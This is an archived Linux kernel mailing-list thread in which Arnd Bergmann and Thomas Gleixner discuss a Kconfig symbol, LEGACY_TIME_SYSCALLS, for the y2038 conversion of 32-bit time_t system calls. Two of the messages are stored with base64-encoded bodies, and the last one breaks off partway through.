Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.kernel.api,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile,gmane.linux.ports.sparc
Subject: Re: [PATCH 0/9] posix_clocks: Prepare syscalls for 64 bit time_t conversion
Date: Fri, 17 Nov 2017 11:30:57 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <CAK8P3a10N42rBO8XBrZWYOCwVB8jayjgZu2oa8FSpHTzszQacQ@mail.gmail.com>
References: <20171110224259.15930-1-deepa.kernel@gmail.com>
 <CAK8P3a2uD=xV5GKtL+nhVoPckb6uoXztEvXK-iP_OYbct8QvJA@mail.gmail.com>
 <CABeXuvpy1jbqjeUFHHX-MrJXQLA2QNYbAa6OX7qOpPp4q-mQYQ@mail.gmail.com>
 <alpine.DEB.2.20.1711160958430.2191@nanos> <CAK8P3a0wxs59T1zW4ahbJXeW6QjStm0mbCFoL_RQexAa6dzh_w@mail.gmail.com>
 <alpine.DEB.2.20.1711170954000.1709@nanos> <CAK8P3a3fcVKTwoqN0CxYchzcFqUZPBeko=oYsA9eNxu4bQoYyw@mail.gmail.com>
 <alpine.DEB.2.20.1711171049180.1709@nanos>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1510914667 13083 195.159.176.226 (17 Nov 2017 10:31:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 17 Nov 2017 10:31:07 +0000 (UTC)
Cc: Deepa Dinamani <deepa.kernel@gmail.com>,
        John Stultz <john.stultz@linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Arnaldo Carvalho de Melo <acme@kernel.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Christian Borntraeger <borntraeger@de.ibm.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Metcalf <cmetcalf@mellanox.com>, cohuck@redhat.com,
        David Miller <davem@davemloft.net>,
        Helge Deller <deller@gmx.de>, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh <gregkh@linuxfoundation.org>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Jan Hoeppner <hoeppner@linux.vnet.ibm.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Julian Wiedma
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Nov 17 11:30:59 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1eFdvE-0004zi-TS
	for glka-linux-arch@m.gmane.org; Fri, 17 Nov 2017 11:30:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751822AbdKQKbD (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Fri, 17 Nov 2017 05:31:03 -0500
Original-Received: from mail-oi0-f66.google.com ([209.85.218.66]:45128 "EHLO
        mail-oi0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751365AbdKQKa6 (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Fri, 17 Nov 2017 05:30:58 -0500
Original-Received: by mail-oi0-f66.google.com with SMTP id v123so1315334oif.12;
        Fri, 17 Nov 2017 02:30:58 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=+pTJ6QHNnN687PSPatdHHCMz06B9INkQw9YQph4FSoo=;
        b=kVhrHORvCcKGGg6vtn8zAgjD/dxoqJz9QHwkZA+UkQjIdWjf/aaPlgMdY/ETGJMXb0
         Ckx2k06MV4Kt6joEV6Zdz7KLPpXfm58QH+1bTxUa02Pwou9qih0PkKDIWcVbeWZahNGT
         h6ZmmadLI31BztiMeV61gYvyR1mu/QfG/3v26fF4D/qgH0GR9UzvmjktQiJTOCEy1xiE
         GoTLIIZFbOKSfAgyRi/LfQ+U7Lp5IS3n1OJDKmGKYtqlmIwKy3mQABgtKRtUakMpwxMR
         ZAC2xF4EYqEOzrhaxNGwvwEwtGTtWVdjfURtzDTHKQvWKZNXus41vGL931FaGRUImf0g
         OKNQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=+pTJ6QHNnN687PSPatdHHCMz06B9INkQw9YQph4FSoo=;
        b=tsl/FHN3BnTk1A8OG6bcV5Ldq1HQ8zubs+zw325SViCiuh9hR/OjaBQmh4BdLf2z/T
         25o+xMeakPUaf3ewmTBpymtV4u9YyvOJhArLldE/R76khci3En9ZPJXTolndge9b+Tl8
         bv0jELRgrK+LJbB9DDSdO//dywLfpOALJz+KWtpaNvKYwedYj6Jj8JO2Y+49fb3/0RQE
         +6aV+jApIew9T8b6koFlPQRCrSC3ogAgZhL2ZZY+J4c5ISU0bccHwPRFn4akfQngK7tD
         mgM4II8l1EjWbbhNROX5pjZDJjAqJNvOoUgkMnOpF+ZSu93CqIsk1Qbeq2evioXK2hBg
         Oc/Q==
X-Gm-Message-State: AJaThX7PTnZ+1LH0AcilHOOorUDGpoGL4qpN+coQFeNr/YfcBe7fl9q9
        PAGJvp7wsWAGnI8tTgmtl6ymkgM/Q371UWqaBtqRPg==
X-Google-Smtp-Source: AGs4zMbMCAz/JhjxuElWY2TuTi2tWLo1VdULyeAb5hHg9E7l5wkqS+ex72jIvjvPIOcDNPtY6BpdZ5g0lKsX1IL5Dus=
X-Received: by 10.202.228.70 with SMTP id b67mr753080oih.283.1510914657828;
 Fri, 17 Nov 2017 02:30:57 -0800 (PST)
Original-Received: by 10.157.43.3 with HTTP; Fri, 17 Nov 2017 02:30:57 -0800 (PST)
In-Reply-To: <alpine.DEB.2.20.1711171049180.1709@nanos>
X-Google-Sender-Auth: FP-uG7VJKNmOfR5lmi6In0wZQrI
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:40173 gmane.linux.kernel:2619263 gmane.linux.kernel.year-2038:2305 gmane.linux.kernel.api:25755 gmane.linux.ports.mips.general:62221 gmane.linux.ports.parisc:28001 gmane.linux.ports.ppc64.devel:150381 gmane.linux.oprofile:13111 gmane.linux.ports.sparc:26905
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/40173>

On Fri, Nov 17, 2017 at 10:54 AM, Thomas Gleixner <tglx@linutronix.de> wrote:
> On Fri, 17 Nov 2017, Arnd Bergmann wrote:
>> On Fri, Nov 17, 2017 at 9:58 AM, Thomas Gleixner <tglx@linutronix.de> wrote:
>>
>> No, syscall that existing 32-bit user space enters would be handled by
>> compat_sys_nanosleep() on both 32-bit and 64-bit kernels at that
>> point. The idea here is to make the code path more uniform between
>> 32-bit and 64-bit kernels.
>
> So on a 32bit system compat_sys_nanosleep() would be the legacy
> sys_nanosleep() with the existing syscall number, but you don't want to
> introduce a new sys_nanosleep64() for 32bit. That makes a lot of sense.
>
> So back to your original question whether to use #if (MAGIC logic) or a
> separate config symbol. Please use the latter, these magic logic constructs
> are harder to read and prone to get wrong at some point. Having the
> decision logic in one place is always the right thing to do.

How about this:

config LEGACY_TIME_SYSCALLS
      def_bool 64BIT || !64BIT_TIME
      help
        This controls the compilation of the following system calls:
time, stime,
        gettimeofday, settimeofday, adjtimex, nanosleep, alarm, getitimer,
        setitimer, select, utime, utimes, futimesat, and
{old,new}{l,f,}stat{,64}.
        These all pass 32-bit time_t arguments on 32-bit architectures and
        are replaced by other interfaces (e.g. posix timers and clocks, statx).
        C libraries implementing 64-bit time_t in 32-bit architectures have to
        implement the handles by wrapping around the newer interfaces.
        New architectures should not explicitly disable this.

       Arnd


From - Thu Nov 08 21:40:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.kernel.year-2038,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.oprofile,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.api,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 0/9] posix_clocks: Prepare syscalls for 64 bit
 time_t conversion
Date: Fri, 17 Nov 2017 11:40:48 +0100 (CET)
Lines: 36
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.20.1711171138510.7700@nanos>
References: <20171110224259.15930-1-deepa.kernel@gmail.com>
 <CAK8P3a2uD=xV5GKtL+nhVoPckb6uoXztEvXK-iP_OYbct8QvJA@mail.gmail.com>
 <CABeXuvpy1jbqjeUFHHX-MrJXQLA2QNYbAa6OX7qOpPp4q-mQYQ@mail.gmail.com>
 <alpine.DEB.2.20.1711160958430.2191@nanos>
 <CAK8P3a0wxs59T1zW4ahbJXeW6QjStm0mbCFoL_RQexAa6dzh_w@mail.gmail.com>
 <alpine.DEB.2.20.1711170954000.1709@nanos>
 <CAK8P3a3fcVKTwoqN0CxYchzcFqUZPBeko=oYsA9eNxu4bQoYyw@mail.gmail.com>
 <alpine.DEB.2.20.1711171049180.1709@nanos>
 <CAK8P3a10N42rBO8XBrZWYOCwVB8jayjgZu2oa8FSpHTzszQacQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1510915272 12422 195.159.176.226 (17 Nov 2017 10:41:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 17 Nov 2017 10:41:12 +0000 (UTC)
User-Agent: Alpine 2.20 (DEB 67 2015-01-07)
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Stefan Haberland <sth@linux.vnet.ibm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux <sparclinux@vger.kernel.org>, devel@driverdev.osuosl.org,
 linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Will Deacon <will.deacon@arm.com>,
 Christian Borntraeger <borntraeger@de.ibm.com>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Catali
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: y2038-bounces@lists.linaro.org Fri Nov 17 11:41:04 2017
Return-path: <y2038-bounces@lists.linaro.org>
Envelope-to: glky-y2038@m.gmane.org
Original-Received: from ec2-54-197-127-237.compute-1.amazonaws.com ([54.197.127.237] helo=lists.linaro.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <y2038-bounces@lists.linaro.org>)
	id 1eFe4w-0002ae-9f
	for glky-y2038@m.gmane.org; Fri, 17 Nov 2017 11:40:58 +0100
Original-Received: by lists.linaro.org (Postfix, from userid 109)
	id 94F23607B2; Fri, 17 Nov 2017 10:41:05 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by lists.linaro.org (Postfix) with ESMTP id 857D7606B5;
	Fri, 17 Nov 2017 10:41:01 +0000 (UTC)
X-Original-To: y2038@lists.linaro.org
Delivered-To: y2038@lists.linaro.org
Original-Received: by lists.linaro.org (Postfix, from userid 109)
 id 3BC4F607AD; Fri, 17 Nov 2017 10:40:59 +0000 (UTC)
Original-Received: from Galois.linutronix.de (Galois.linutronix.de [146.0.238.70])
 by lists.linaro.org (Postfix) with ESMTPS id F0A2D606B5
 for <y2038@lists.linaro.org>; Fri, 17 Nov 2017 10:40:57 +0000 (UTC)
Original-Received: from hsi-kbw-5-158-153-52.hsi19.kabel-badenwuerttemberg.de
 ([5.158.153.52] helo=nanos)
 by Galois.linutronix.de with esmtpsa (TLS1.2:DHE_RSA_AES_256_CBC_SHA256:256)
 (Exim 4.80) (envelope-from <tglx@linutronix.de>)
 id 1eFe3z-0003YE-MN; Fri, 17 Nov 2017 11:39:59 +0100
In-Reply-To: <CAK8P3a10N42rBO8XBrZWYOCwVB8jayjgZu2oa8FSpHTzszQacQ@mail.gmail.com>
X-BeenThere: y2038@lists.linaro.org
X-Mailman-Version: 2.1.16
Precedence: list
List-Id: <y2038.lists.linaro.org>
List-Unsubscribe: <https://lists.linaro.org/mailman/options/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=unsubscribe>
List-Archive: <http://lists.linaro.org/pipermail/y2038/>
List-Post: <mailto:y2038@lists.linaro.org>
List-Help: <mailto:y2038-request@lists.linaro.org?subject=help>
List-Subscribe: <https://lists.linaro.org/mailman/listinfo/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=subscribe>
Errors-To: y2038-bounces@lists.linaro.org
Original-Sender: "Y2038" <y2038-bounces@lists.linaro.org>
Xref: news.gmane.org gmane.linux.kernel.year-2038:2306 gmane.linux.ports.mips.general:62222 gmane.linux.ports.sparc:26906 gmane.linux.oprofile:13112 gmane.linux.kernel.cross-arch:40174 gmane.linux.ports.parisc:28002 gmane.linux.kernel:2619269 gmane.linux.kernel.api:25756 gmane.linux.ports.ppc64.devel:150382
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.year-2038/2306>

T24gRnJpLCAxNyBOb3YgMjAxNywgQXJuZCBCZXJnbWFubiB3cm90ZToKPiBPbiBGcmksIE5vdiAx
NywgMjAxNyBhdCAxMDo1NCBBTSwgVGhvbWFzIEdsZWl4bmVyIDx0Z2x4QGxpbnV0cm9uaXguZGU+
IHdyb3RlOgo+ID4gT24gRnJpLCAxNyBOb3YgMjAxNywgQXJuZCBCZXJnbWFubiB3cm90ZToKPiA+
PiBPbiBGcmksIE5vdiAxNywgMjAxNyBhdCA5OjU4IEFNLCBUaG9tYXMgR2xlaXhuZXIgPHRnbHhA
bGludXRyb25peC5kZT4gd3JvdGU6Cj4gPj4KPiA+PiBObywgc3lzY2FsbCB0aGF0IGV4aXN0aW5n
IDMyLWJpdCB1c2VyIHNwYWNlIGVudGVycyB3b3VsZCBiZSBoYW5kbGVkIGJ5Cj4gPj4gY29tcGF0
X3N5c19uYW5vc2xlZXAoKSBvbiBib3RoIDMyLWJpdCBhbmQgNjQtYml0IGtlcm5lbHMgYXQgdGhh
dAo+ID4+IHBvaW50LiBUaGUgaWRlYSBoZXJlIGlzIHRvIG1ha2UgdGhlIGNvZGUgcGF0aCBtb3Jl
IHVuaWZvcm0gYmV0d2Vlbgo+ID4+IDMyLWJpdCBhbmQgNjQtYml0IGtlcm5lbHMuCj4gPgo+ID4g
U28gb24gYSAzMmJpdCBzeXN0ZW0gY29tcGF0X3N5c19uYW5vc2xlZXAoKSB3b3VsZCBiZSB0aGUg
bGVnYWN5Cj4gPiBzeXNfbmFub3NsZWVwKCkgd2l0aCB0aGUgZXhpc3Rpbmcgc3lzY2FsbCBudW1i
ZXIsIGJ1dCB5b3UgZG9uJ3Qgd2FudCB0bwo+ID4gaW50cm9kdWNlIGEgbmV3IHN5c19uYW5vc2xl
ZXA2NCgpIGZvciAzMmJpdC4gVGhhdCBtYWtlcyBhIGxvdCBvZiBzZW5zZS4KPiA+Cj4gPiBTbyBi
YWNrIHRvIHlvdXIgb3JpZ2luYWwgcXVlc3Rpb24gd2hldGhlciB0byB1c2UgI2lmIChNQUdJQyBs
b2dpYykgb3IgYQo+ID4gc2VwYXJhdGUgY29uZmlnIHN5bWJvbC4gUGxlYXNlIHVzZSB0aGUgbGF0
dGVyLCB0aGVzZSBtYWdpYyBsb2dpYyBjb25zdHJ1Y3RzCj4gPiBhcmUgaGFyZGVyIHRvIHJlYWQg
YW5kIHByb25lIHRvIGdldCB3cm9uZyBhdCBzb21lIHBvaW50LiBIYXZpbmcgdGhlCj4gPiBkZWNp
c2lvbiBsb2dpYyBpbiBvbmUgcGxhY2UgaXMgYWx3YXlzIHRoZSByaWdodCB0aGluZyB0byBkby4K
PiAKPiBIb3cgYWJvdXQgdGhpczoKPiAKPiBjb25maWcgTEVHQUNZX1RJTUVfU1lTQ0FMTFMKPiAg
ICAgICBkZWZfYm9vbCA2NEJJVCB8fCAhNjRCSVRfVElNRQo+ICAgICAgIGhlbHAKPiAgICAgICAg
IFRoaXMgY29udHJvbHMgdGhlIGNvbXBpbGF0aW9uIG9mIHRoZSBmb2xsb3dpbmcgc3lzdGVtIGNh
bGxzOgo+IHRpbWUsIHN0aW1lLAo+ICAgICAgICAgZ2V0dGltZW9mZGF5LCBzZXR0aW1lb2ZkYXks
IGFkanRpbWV4LCBuYW5vc2xlZXAsIGFsYXJtLCBnZXRpdGltZXIsCj4gICAgICAgICBzZXRpdGlt
ZXIsIHNlbGVjdCwgdXRpbWUsIHV0aW1lcywgZnV0aW1lc2F0LCBhbmQKPiB7b2xkLG5ld317bCxm
LH1zdGF0eyw2NH0uCj4gICAgICAgICBUaGVzZSBhbGwgcGFzcyAzMi1iaXQgdGltZV90IGFyZ3Vt
ZW50cyBvbiAzMi1iaXQgYXJjaGl0ZWN0dXJlcyBhbmQKPiAgICAgICAgIGFyZSByZXBsYWNlZCBi
eSBvdGhlciBpbnRlcmZhY2VzIChlLmcuIHBvc2l4IHRpbWVycyBhbmQgY2xvY2tzLCBzdGF0eCku
Cj4gICAgICAgICBDIGxpYnJhcmllcyBpbXBsZW1lbnRpbmcgNjQtYml0IHRpbWVfdCBpbiAzMi1i
aXQgYXJjaGl0ZWN0dXJlcyBoYXZlIHRvCj4gICAgICAgICBpbXBsZW1lbnQgdGhlIGhhbmRsZXMg
Ynkgd3JhcHBpbmcgYXJvdW5kIHRoZSBuZXdlciBpbnRlcmZhY2VzLgoKcy9oYW5kbGVzL2hhbmRs
aW5nLyA/Pz8/Cgo+ICAgICAgICAgTmV3IGFyY2hpdGVjdHVyZXMgc2hvdWxkIG5vdCBleHBsaWNp
dGx5IGRpc2FibGUgdGhpcy4KCk5ldyBhcmNoaXRlY3R1cmVzIHNob3VsZCBuZXZlciBlbmFibGUg
dGhpcywgcmlnaHQ/CgpUaGFua3MsCgoJdGdseApfX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fXwpZMjAzOCBtYWlsaW5nIGxpc3QKWTIwMzhAbGlzdHMubGluYXJv
Lm9yZwpodHRwczovL2xpc3RzLmxpbmFyby5vcmcvbWFpbG1hbi9saXN0aW5mby95MjAzOAo=


From - Thu Nov 08 21:40:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.year-2038,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.oprofile,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.api,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 0/9] posix_clocks: Prepare syscalls for 64 bit
	time_t conversion
Date: Fri, 17 Nov 2017 11:46:37 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <CAK8P3a1J0C5A+SzVWDz52ZkawG1HZYj2cR6oc=DL=QrXgYaiHg@mail.gmail.com>
References: <20171110224259.15930-1-deepa.kernel@gmail.com>
 <CAK8P3a2uD=xV5GKtL+nhVoPckb6uoXztEvXK-iP_OYbct8QvJA@mail.gmail.com>
 <CABeXuvpy1jbqjeUFHHX-MrJXQLA2QNYbAa6OX7qOpPp4q-mQYQ@mail.gmail.com>
 <alpine.DEB.2.20.1711160958430.2191@nanos>
 <CAK8P3a0wxs59T1zW4ahbJXeW6QjStm0mbCFoL_RQexAa6dzh_w@mail.gmail.com>
 <alpine.DEB.2.20.1711170954000.1709@nanos>
 <CAK8P3a3fcVKTwoqN0CxYchzcFqUZPBeko=oYsA9eNxu4bQoYyw@mail.gmail.com>
 <alpine.DEB.2.20.1711171049180.1709@nanos>
 <CAK8P3a10N42rBO8XBrZWYOCwVB8jayjgZu2oa8FSpHTzszQacQ@mail.gmail.com>
 <alpine.DEB.2.20.1711171138510.7700@nanos>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1510915608 19322 195.159.176.226 (17 Nov 2017 10:46:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 17 Nov 2017 10:46:48 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Stefan Haberland <sth@linux.vnet.ibm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux <sparclinux@vger.kernel.org>, devel@driverdev.osuosl.org,
 linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Will Deacon <will.deacon@arm.com>,
 Christian Borntraeger <borntraeger@de.ibm.com>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Catali
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: y2038-bounces@lists.linaro.org Fri Nov 17 11:46:40 2017
Return-path: <y2038-bounces@lists.linaro.org>
Envelope-to: glky-y2038@m.gmane.org
Original-Received: from ec2-54-197-127-237.compute-1.amazonaws.com ([54.197.127.237] helo=lists.linaro.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <y2038-bounces@lists.linaro.org>)
	id 1eFeAR-0004VU-5y
	for glky-y2038@m.gmane.org; Fri, 17 Nov 2017 11:46:39 +0100
Original-Received: by lists.linaro.org (Postfix, from userid 109)
	id 9C91C607B8; Fri, 17 Nov 2017 10:46:46 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by lists.linaro.org (Postfix) with ESMTP id 1E772606B5;
	Fri, 17 Nov 2017 10:46:42 +0000 (UTC)
X-Original-To: y2038@lists.linaro.org
Delivered-To: y2038@lists.linaro.org
Original-Received: by lists.linaro.org (Postfix, from userid 109)
 id C9BBD607A9; Fri, 17 Nov 2017 10:46:39 +0000 (UTC)
Original-Received: from mail-ot0-f194.google.com (mail-ot0-f194.google.com
 [74.125.82.194])
 by lists.linaro.org (Postfix) with ESMTPS id C94216074A
 for <y2038@lists.linaro.org>; Fri, 17 Nov 2017 10:46:38 +0000 (UTC)
Original-Received: by mail-ot0-f194.google.com with SMTP id s4so1670198ote.4
 for <y2038@lists.linaro.org>; Fri, 17 Nov 2017 02:46:38 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
 :date:message-id:subject:to:cc;
 bh=1vyNq+EHBC8NnFMSNPJ+YwxKo11zW+jQbDUJcx5jxUE=;
 b=D95FSIiSp4BV+b2M0Luj0Ybf4vDveIGczpBu7bFDgmWxzv0DDX9GHyp/zJIeIaTlqy
 NIPgtbydwRNiNPZiqUOe9+sNgd2nJGacDpjLfJmcrbhdNOgvr64b4P0HVYRfJU1O4RNS
 c/JaeIogxWTnU7pqta0ijK07NcLml4oP1a11UAWziP0AiXxB7q6mcksdpP+meXtaT2aP
 any6707rcvOOXPHtRW4izXmr44Obu7sGh8o4MeFoMkats8EaazjacUmCh66V/VSoBYWB
 qi+4LDJL4jGbmWNZjj+xpHHdvfZIzp7mm5kIGy4G1fLiseR92YynTNf60fEeauWgSN0T
 5jyA==
X-Gm-Message-State: AJaThX6uhd2Ts7qVUAYX4BxFANbBoqWMUadPtGs//Wol3YJFjKzKcHEq
 BBp5HOyu4Zs8zvJu2M+CFLDL5eUNAI3sYgc07Cs=
X-Google-Smtp-Source: AGs4zMaDssPJEJIEa9z3OGN90NRx74HGthjVhzbrPEujNz5kQnW9O0HC2gM4W9z+Y0M1xg1WoGbfKmnLEtI1lt/4DNE=
X-Received: by 10.157.34.20 with SMTP id o20mr906100ota.104.1510915598244;
 Fri, 17 Nov 2017 02:46:38 -0800 (PST)
Original-Received: by 10.157.43.3 with HTTP; Fri, 17 Nov 2017 02:46:37 -0800 (PST)
In-Reply-To: <alpine.DEB.2.20.1711171138510.7700@nanos>
X-Google-Sender-Auth: PIetoqAfyFJkmB7GALjYAUP603A
X-BeenThere: y2038@lists.linaro.org
X-Mailman-Version: 2.1.16
Precedence: list
List-Id: <y2038.lists.linaro.org>
List-Unsubscribe: <https://lists.linaro.org/mailman/options/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=unsubscribe>
List-Archive: <http://lists.linaro.org/pipermail/y2038/>
List-Post: <mailto:y2038@lists.linaro.org>
List-Help: <mailto:y2038-request@lists.linaro.org?subject=help>
List-Subscribe: <https://lists.linaro.org/mailman/listinfo/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=subscribe>
Errors-To: y2038-bounces@lists.linaro.org
Original-Sender: "Y2038" <y2038-bounces@lists.linaro.org>
Xref: news.gmane.org gmane.linux.kernel.year-2038:2307 gmane.linux.ports.mips.general:62223 gmane.linux.ports.sparc:26907 gmane.linux.oprofile:13113 gmane.linux.kernel.cross-arch:40175 gmane.linux.ports.parisc:28003 gmane.linux.kernel:2619270 gmane.linux.kernel.api:25757 gmane.linux.ports.ppc64.devel:150383
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.year-2038/2307>

T24gRnJpLCBOb3YgMTcsIDIwMTcgYXQgMTE6NDAgQU0sIFRob21hcyBHbGVpeG5lciA8dGdseEBs
aW51dHJvbml4LmRlPiB3cm90ZToKPiBPbiBGcmksIDE3IE5vdiAyMDE3LCBBcm5kIEJlcmdtYW5u
IHdyb3RlOgo+PiBPbiBGcmksIE5vdiAxNywgMjAxNyBhdCAxMDo1NCBBTSwgVGhvbWFzIEdsZWl4
bmVyIDx0Z2x4QGxpbnV0cm9uaXguZGU+IHdyb3RlOgo+PiA+IE9uIEZyaSwgMTcgTm92IDIwMTcs
IEFybmQgQmVyZ21hbm4gd3JvdGU6Cj4+ID4+IE9uIEZyaSwgTm92IDE3LCAyMDE3IGF0IDk6NTgg
QU0sIFRob21hcyBHbGVpeG5lciA8dGdseEBsaW51dHJvbml4LmRlPiB3cm90ZToKPj4gPj4KPj4g
Pj4gTm8sIHN5c2NhbGwgdGhhdCBleGlzdGluZyAzMi1iaXQgdXNlciBzcGFjZSBlbnRlcnMgd291
bGQgYmUgaGFuZGxlZCBieQo+PiA+PiBjb21wYXRfc3lzX25hbm9zbGVlcCgpIG9uIGJvdGggMzIt
Yml0IGFuZCA2NC1iaXQga2VybmVscyBhdCB0aGF0Cj4+ID4+IHBvaW50LiBUaGUgaWRlYSBoZXJl
IGlzIHRvIG1ha2UgdGhlIGNvZGUgcGF0aCBtb3JlIHVuaWZvcm0gYmV0d2Vlbgo+PiA+PiAzMi1i
aXQgYW5kIDY0LWJpdCBrZXJuZWxzLgo+PiA+Cj4+ID4gU28gb24gYSAzMmJpdCBzeXN0ZW0gY29t
cGF0X3N5c19uYW5vc2xlZXAoKSB3b3VsZCBiZSB0aGUgbGVnYWN5Cj4+ID4gc3lzX25hbm9zbGVl
cCgpIHdpdGggdGhlIGV4aXN0aW5nIHN5c2NhbGwgbnVtYmVyLCBidXQgeW91IGRvbid0IHdhbnQg
dG8KPj4gPiBpbnRyb2R1Y2UgYSBuZXcgc3lzX25hbm9zbGVlcDY0KCkgZm9yIDMyYml0LiBUaGF0
IG1ha2VzIGEgbG90IG9mIHNlbnNlLgo+PiA+Cj4+ID4gU28gYmFjayB0byB5b3VyIG9yaWdpbmFs
IHF1ZXN0aW9uIHdoZXRoZXIgdG8gdXNlICNpZiAoTUFHSUMgbG9naWMpIG9yIGEKPj4gPiBzZXBh
cmF0ZSBjb25maWcgc3ltYm9sLiBQbGVhc2UgdXNlIHRoZSBsYXR0ZXIsIHRoZXNlIG1hZ2ljIGxv
Z2ljIGNvbnN0cnVjdHMKPj4gPiBhcmUgaGFyZGVyIHRvIHJlYWQgYW5kIHByb25lIHRvIGdldCB3
